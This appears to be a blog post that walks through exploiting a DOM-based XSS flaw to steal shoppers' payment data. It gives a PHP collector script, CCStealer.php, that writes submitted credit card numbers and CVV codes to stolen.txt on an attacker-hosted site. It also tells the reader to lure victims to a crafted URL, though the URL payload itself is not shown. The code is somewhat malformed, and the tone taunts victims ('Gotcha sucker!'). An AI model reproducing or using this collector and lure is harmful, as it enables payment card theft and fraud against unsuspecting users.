As in the previous post – this post expands on the process in which you send information entered into a webpage to an attacker hosted site. In this example you are exploiting a DOM based XSS vulnerability which means that the vulnerability is exploited entirely on the user/victim side (before interaction with the site/server).

You are essentially using the fields and text blocks as your tool to steal information and then send it off to your site under the /stolen.txt location.

The code you can use to steal from the certain fields is:
CCStealer.php
</php
if (isset($_POST[‘creditcard’]))
{
$JDATA=”stolen.txt”;

$juicydata=$_POST[‘creditcard’] . ‘ |||’ . $_POST[‘cvv’]. “\n”;

$fh = fopen($JDATA, ‘a’);
fwrite($fh, $juicydata);
fclose($fh);

echo “Gotcha sucker!” . $_POST[‘name’].”!”;
>
(just FYI – the ‘creditcard’ and ‘cvv’ names referenced above are actual names from the site – so make sure of these attributes before complaining. And the echo part is for you to test)

You then need to get the victim to click on and navigate to the newly crafted url:
script
As the victim types values into the creditcard and cvv fields and click on the submit button the information will be sent to the attacker site.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s